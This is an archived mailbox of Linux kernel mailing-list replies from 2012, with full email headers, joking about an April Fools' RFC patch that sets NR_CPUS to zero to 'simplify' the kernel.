To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-alpha-owner@vger.kernel.org Sat Mar 31 23:00:20 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1SE5PG-0002Vp-SH
	for lnx-linux-alpha@plane.gmane.org; Sat, 31 Mar 2012 23:00:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752849Ab2CaVAR (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 31 Mar 2012 17:00:17 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:48936 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752838Ab2CaVAP (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 31 Mar 2012 17:00:15 -0400
Original-Received: by wgbdr13 with SMTP id dr13so1549407wgb.1
        for <multiple recipients>; Sat, 31 Mar 2012 14:00:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=subject:from:to:cc:in-reply-to:references:content-type:date
         :message-id:mime-version:x-mailer:content-transfer-encoding;
        bh=cvvbGMem4llGGSx7vHAzopZWFJXuOPwRRXOuYBt14BA=;
        b=Eh/BPLX58xPJw2TTpkmhXwMk53mByIXhcxI4BhB7l68ZBbnmnqR1hyNdlVOwZRiRFW
         AHYcKDHrfHcL/C0JW3Lj3Cqj+IRZNbF5lB/mROhbfoSQnmWixAzEQGHYfmeaHeeYRS8P
         Qq/12wGVWCIo+9NBu4oXc/gc8ObJ41DdevBIe1onk9UL+KU+cAJiXo9C+53uJvRLsWjb
         lNYPwXHPwqkTY+YogostbbUYYinjv8PP3tajMo62Ul9kRr1u176AYyIF1KKwZHeSiK2k
         D/gTPitONv60mxfncwAsosrryDORmQ9yeGUYkl+D1w/98WZkTmgzAeljz5POVmcjbAej
         s1ww==
Original-Received: by 10.180.88.199 with SMTP id bi7mr9309940wib.12.1333227613215;
        Sat, 31 Mar 2012 14:00:13 -0700 (PDT)
Original-Received: from [192.168.179.45] ([74.125.122.49])
        by mx.google.com with ESMTPS id j3sm30752149wiw.1.2012.03.31.14.00.09
        (version=SSLv3 cipher=OTHER);
        Sat, 31 Mar 2012 14:00:12 -0700 (PDT)
In-Reply-To: <20120331163321.GA15809@linux.vnet.ibm.com>
X-Mailer: Evolution 2.28.3 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1772 gmane.linux.kernel:1275963 gmane.linux.ports.arm.kernel:159844 gmane.linux.hardware.blackfin.kernel.devel:6373 gmane.linux.ports.hexagon:415 gmane.linux.ports.ia64:22181 gmane.linux.ports.mips.general:33948 gmane.linux.ports.parisc:4260 gmane.linux.ports.ppc64.devel:81358 gmane.linux.ports.sh.devel:14237 gmane.linux.ports.sparc:15997
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1772>

On Sun, 2012-04-01 at 00:33 +0800, Paul E. McKenney wrote:
> Although there have been numerous complaints about the complexity of
> parallel programming (especially over the past 5-10 years), the plain
> truth is that the incremental complexity of parallel programming over
> that of sequential programming is not as large as is commonly believed.
> Despite that you might have heard, the mind-numbing complexity of modern
> computer systems is not due so much to there being multiple CPUs, but
> rather to there being any CPUs at all.  In short, for the ultimate in
> computer-system simplicity, the optimal choice is NR_CPUS=0.
> 
> This commit therefore limits kernel builds to zero CPUs.  This change
> has the beneficial side effect of rendering all kernel bugs harmless.
> Furthermore, this commit enables additional beneficial changes, for
> example, the removal of those parts of the kernel that are not needed
> when there are zero CPUs.
> 
> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> ---

Hmm... I believe you could go one step forward and allow negative values
as well. Antimatter was proven to exist after all.

Hint : nr_cpu_ids is an "int", not an "unsigned int"

Bonus: Existing bugs become "must have" features.

Of course there is no hurry and this can wait 365 days.


--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 14:21:49 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20120331212149.GI2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <1333227608.2325.4054.camel@edumazet-glaptop>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333229007 26796 80.91.229.3 (31 Mar 2012 21:23:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 21:23:27 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: Eric Dumazet <eric.dumazet@gmail.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Sat Mar 31 23:23:09 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1SE5lL-0001lx-Iy
	for lnx-linux-alpha@plane.gmane.org; Sat, 31 Mar 2012 23:23:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753305Ab2CaVWh (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 31 Mar 2012 17:22:37 -0400
Original-Received: from e38.co.us.ibm.com ([32.97.110.159]:50377 "EHLO
	e38.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753891Ab2CaVWH (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 31 Mar 2012 17:22:07 -0400
Original-Received: from /spool/local
	by e38.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-alpha@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 31 Mar 2012 15:22:06 -0600
Original-Received: from d03dlp02.boulder.ibm.com (9.17.202.178)
	by e38.co.us.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 31 Mar 2012 15:22:03 -0600
Original-Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106])
	by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 7E7703E40036;
	Sat, 31 Mar 2012 15:22:02 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2VLM1DG057448;
	Sat, 31 Mar 2012 15:22:01 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2VLLxvx015851;
	Sat, 31 Mar 2012 15:22:01 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2VLLwuW015844;
	Sat, 31 Mar 2012 15:21:58 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 235E9E4ABB; Sat, 31 Mar 2012 14:21:49 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1333227608.2325.4054.camel@edumazet-glaptop>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12033121-5518-0000-0000-0000035B7F8D
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1773 gmane.linux.kernel:1275968 gmane.linux.ports.arm.kernel:159845 gmane.linux.hardware.blackfin.kernel.devel:6374 gmane.linux.ports.hexagon:416 gmane.linux.ports.ia64:22182 gmane.linux.ports.mips.general:33949 gmane.linux.ports.parisc:4261 gmane.linux.ports.ppc64.devel:81359 gmane.linux.ports.sh.devel:14238 gmane.linux.ports.sparc:15999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1773>

On Sat, Mar 31, 2012 at 11:00:08PM +0200, Eric Dumazet wrote:
> On Sun, 2012-04-01 at 00:33 +0800, Paul E. McKenney wrote:
> > Although there have been numerous complaints about the complexity of
> > parallel programming (especially over the past 5-10 years), the plain
> > truth is that the incremental complexity of parallel programming over
> > that of sequential programming is not as large as is commonly believed.
> > Despite that you might have heard, the mind-numbing complexity of modern
> > computer systems is not due so much to there being multiple CPUs, but
> > rather to there being any CPUs at all.  In short, for the ultimate in
> > computer-system simplicity, the optimal choice is NR_CPUS=0.
> > 
> > This commit therefore limits kernel builds to zero CPUs.  This change
> > has the beneficial side effect of rendering all kernel bugs harmless.
> > Furthermore, this commit enables additional beneficial changes, for
> > example, the removal of those parts of the kernel that are not needed
> > when there are zero CPUs.
> > 
> > Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> > ---
> 
> Hmm... I believe you could go one step forward and allow negative values
> as well. Antimatter was proven to exist after all.
> 
> Hint : nr_cpu_ids is an "int", not an "unsigned int"
> 
> Bonus: Existing bugs become "must have" features.

;-) ;-) ;-)

> Of course there is no hurry and this can wait 365 days.

James Bottomley suggested imaginary numbers of CPUs some time back,
and I suppose there is no reason you cannot have fractional numbers of
CPUs, and perhaps irrational numbers as well.  Of course, these last two
would require use of floating-point arithmetic (or something similar)
in the kernel.  So I guess we have at several years worth.  Over to you
for the negative numbers.  ;-)

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lorenz Kolb <linuxppcemb@lkmail.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sun, 01 Apr 2012 00:19:25 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <4F7782ED.7050407@lkmail.de>
References: <20120331163321.GA15809@linux.vnet.ibm.com> <1333227608.2325.4054.camel@edumazet-glaptop> <20120331212149.GI2450@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333232410 17333 80.91.229.3 (31 Mar 2012 22:20:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 22:20:10 +0000 (UTC)
Cc: Eric Dumazet <eric.dumazet@gmail.com>,
        linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        dhowells@redhat.com, sparclinux@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
        linux@arm.linux.org.uk, linux-hexagon@vger.kernel.org,
        x86@kernel.org, jejb@parisc-linux.org, cmetcalf@tilera.com,
        uclinux-dist-devel@blackfin.uclinux.org, tglx@linutronix.de,
        linux-arm-kernel@lists.infradead.org, linux-m32r@ml.linux-m32r.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux390@de.ibm.com,
        linuxppc-dev@lists.ozlabs.org
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-mips-bounce@linux-mips.org Sun Apr 01 00:20:04 2012
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1SE6eQ-00059Z-NV
	for sgi-linux-mips@gmane.org; Sun, 01 Apr 2012 00:20:02 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53774 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903698Ab2CaWTw (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 1 Apr 2012 00:19:52 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 01 Apr 2012 00:19:34 +0200 (CEST)
Original-Received: from pm1.terions.de ([83.137.96.25]:47733 "EHLO pm1.terions.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903631Ab2CaWTb (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sun, 1 Apr 2012 00:19:31 +0200
Original-Received: (qmail 23754 invoked by uid 98); 31 Mar 2012 22:19:27 -0000
Original-Received: from unknown (HELO ?192.168.178.33?) (postmaster@lkmail.de@78.43.56.110)
  by 0 with ESMTPA; 31 Mar 2012 22:19:27 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101125 Thunderbird/3.0.11
In-Reply-To: <20120331212149.GI2450@linux.vnet.ibm.com>
X-archive-position: 32846
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linuxppcemb@lkmail.de
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33950 gmane.linux.ports.ia64:22183 gmane.linux.ports.sh.devel:14239 gmane.linux.ports.sparc:16002 gmane.linux.ports.hexagon:417 gmane.linux.hardware.blackfin.kernel.devel:6375 gmane.linux.ports.arm.kernel:159852 gmane.linux.ports.parisc:4262 gmane.linux.kernel:1275986 gmane.linux.ports.alpha:1774 gmane.linux.ports.ppc64.devel:81360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33950>

With that patchset in mind, I am working on a really huge patch, which 
will greatly simplify the Linux kernel  for the real problem of having 
that number of CPUs.

That patch will have a lot of changes all over the architectures, so 
what will be the best way to post it? Should I split it architecture 
dependend and into one generic part.

Currently it is a large blob of millions of changes, but will greatly 
simplify the Linux kernel.

Regards,

Lorenz Kolb

Am 31.03.2012 23:21, schrieb Paul E. McKenney:
> On Sat, Mar 31, 2012 at 11:00:08PM +0200, Eric Dumazet wrote:
>    
>> On Sun, 2012-04-01 at 00:33 +0800, Paul E. McKenney wrote:
>>      
>>> Although there have been numerous complaints about the complexity of
>>> parallel programming (especially over the past 5-10 years), the plain
>>> truth is that the incremental complexity of parallel programming over
>>> that of sequential programming is not as large as is commonly believed.
>>> Despite that you might have heard, the mind-numbing complexity of modern
>>> computer systems is not due so much to there being multiple CPUs, but
>>> rather to there being any CPUs at all.  In short, for the ultimate in
>>> computer-system simplicity, the optimal choice is NR_CPUS=0.
>>>
>>> This commit therefore limits kernel builds to zero CPUs.  This change
>>> has the beneficial side effect of rendering all kernel bugs harmless.
>>> Furthermore, this commit enables additional beneficial changes, for
>>> example, the removal of those parts of the kernel that are not needed
>>> when there are zero CPUs.
>>>
>>> Signed-off-by: Paul E. McKenney<paulmck@linux.vnet.ibm.com>
>>> Reviewed-by: Thomas Gleixner<tglx@linutronix.de>
>>> ---
>>>        
>> Hmm... I believe you could go one step forward and allow negative values
>> as well. Antimatter was proven to exist after all.
>>
>> Hint : nr_cpu_ids is an "int", not an "unsigned int"
>>
>> Bonus: Existing bugs become "must have" features.
>>      
> ;-) ;-) ;-)
>
>    
>> Of course there is no hurry and this can wait 365 days.
>>      
> James Bottomley suggested imaginary numbers of CPUs some time back,
> and I suppose there is no reason you cannot have fractional numbers of
> CPUs, and perhaps irrational numbers as well.  Of course, these last two
> would require use of floating-point arithmetic (or something similar)
> in the kernel.  So I guess we have at several years worth.  Over to you
> for the negative numbers.  ;-)
>
> 							Thanx, Paul
>
> _______________________________________________
> Linuxppc-dev mailing list
> Linuxppc-dev@lists.ozlabs.org
> https://lists.ozlabs.org/listinfo/linuxppc-dev
>    




From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state
	space
Date: Sat, 31 Mar 2012 23:32:00 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20120331223200.GA32482@n2100.arm.linux.org.uk>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333233167 21875 80.91.229.3 (31 Mar 2012 22:32:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 22:32:47 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	dhowells@redhat.com, jejb@parisc-linux.org, linux390@de.ibm.com,
	x86@kernel.org, cmetcalf@tilera.com
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Apr 01 00:32:43 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SE6qg-0006Xn-CO
	for glk-linux-kernel-3@plane.gmane.org; Sun, 01 Apr 2012 00:32:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753848Ab2CaWc1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 31 Mar 2012 18:32:27 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:33554 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753127Ab2CaWcY (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 31 Mar 2012 18:32:24 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=hBaV9W9sNKgUd6Ul4Hvq0QZAqdOZdWtEgmbnoBVlZcw=;
	b=Lbb3zPOt5jMZjSnpH/K+UAXPqkdbREsb8ISmC+5PTT2USoyX4S1oxGhAe0gLBDnMjhwkNH2KAtpt8ykrgT5IhiAjNkfnF/DeFQEahPDGAHP0sY1c1aJqW3qkTs4gubrUdWkjWHETR60lirSRKyTk+8GWM+BnvW1kTSkJYDU49mg=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:45501)
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.76)
	(envelope-from <linux@arm.linux.org.uk>)
	id 1SE6q2-0006nQ-SJ; Sat, 31 Mar 2012 23:32:03 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
	(envelope-from <linux@n2100.arm.linux.org.uk>)
	id 1SE6q1-0003L5-7f; Sat, 31 Mar 2012 23:32:01 +0100
Content-Disposition: inline
In-Reply-To: <20120331163321.GA15809@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1275988 gmane.linux.ports.alpha:1775 gmane.linux.ports.arm.kernel:159853 gmane.linux.hardware.blackfin.kernel.devel:6376 gmane.linux.ports.hexagon:418 gmane.linux.ports.ia64:22184 gmane.linux.ports.mips.general:33951 gmane.linux.ports.parisc:4263 gmane.linux.ports.ppc64.devel:81361 gmane.linux.ports.sh.devel:14240 gmane.linux.ports.sparc:16003
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1275988>

On Sun, Apr 01, 2012 at 12:33:21AM +0800, Paul E. McKenney wrote:
> Although there have been numerous complaints about the complexity of
> parallel programming (especially over the past 5-10 years), the plain
> truth is that the incremental complexity of parallel programming over
> that of sequential programming is not as large as is commonly believed.
> Despite that you might have heard, the mind-numbing complexity of modern
> computer systems is not due so much to there being multiple CPUs, but
> rather to there being any CPUs at all.  In short, for the ultimate in
> computer-system simplicity, the optimal choice is NR_CPUS=0.
> 
> This commit therefore limits kernel builds to zero CPUs.  This change
> has the beneficial side effect of rendering all kernel bugs harmless.
> Furthermore, this commit enables additional beneficial changes, for
> example, the removal of those parts of the kernel that are not needed
> when there are zero CPUs.
> 
> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Reviewed-by: Thomas Gleixner <tglx@linutronix.de>

Great work, but I don't think you've gone far enough with this.

What would really help is if you could consolidate all these NR_CPUS
definitions into one place so we don't have essentially the same thing
scattered across all these architectures.  We're already doing this on
ARM across our platforms, and its about time such an approach was taken
across the entire kernel tree.

It looks like the MIPS solution would be the best one to pick.
Could you rework your patch to do this please?

While you're at it, you might like to consider that having zero CPUs
makes all this architecture support redundant, so maybe you've missed
a trick there - according to my count, we could get rid of almost 3
million lines of code from arch.  We could replace all that with a
single standard implementation.

Bah, maybe I shouldn't have pushed that bpf_jit code for ARM after all...

From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 15:34:09 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <20120331223409.GM2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <1333227608.2325.4054.camel@edumazet-glaptop>
 <20120331212149.GI2450@linux.vnet.ibm.com>
 <4F7782ED.7050407@lkmail.de>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333233276 22383 80.91.229.3 (31 Mar 2012 22:34:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 22:34:36 +0000 (UTC)
Cc: Eric Dumazet <eric.dumazet@gmail.com>,
	linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	dhowells@redhat.com, sparclinux@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
	linux@arm.linux.org.uk, linux-hexagon@vger.kernel.org,
	x86@kernel.org, jejb@parisc-linux.org, cmetcalf@tilera.com,
	uclinux-dist-devel@blackfin.uclinux.org, tglx@linutronix.de,
	linux-arm-kernel@lists.infradead.org, linux-m32r@ml.linux-m32r.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux390@de.ibm.com,
	linuxppc-dev@lists.ozlabs.org
To: Lorenz Kolb <linuxppcemb@lkmail.de>
Original-X-From: linux-sh-owner@vger.kernel.org Sun Apr 01 00:34:32 2012
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1SE6sR-0007ck-Mk
	for glps-linuxsh-dev@plane.gmane.org; Sun, 01 Apr 2012 00:34:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753872Ab2CaWe3 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Sat, 31 Mar 2012 18:34:29 -0400
Original-Received: from e33.co.us.ibm.com ([32.97.110.151]:54911 "EHLO
	e33.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753805Ab2CaWe2 (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Sat, 31 Mar 2012 18:34:28 -0400
Original-Received: from /spool/local
	by e33.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-sh@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 31 Mar 2012 16:34:27 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e33.co.us.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 31 Mar 2012 16:34:23 -0600
Original-Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 8BC06C40002;
	Sat, 31 Mar 2012 16:34:22 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2VMYN6w190348;
	Sat, 31 Mar 2012 16:34:23 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2VMYJBb024491;
	Sat, 31 Mar 2012 16:34:22 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2VMYIOw024480;
	Sat, 31 Mar 2012 16:34:18 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
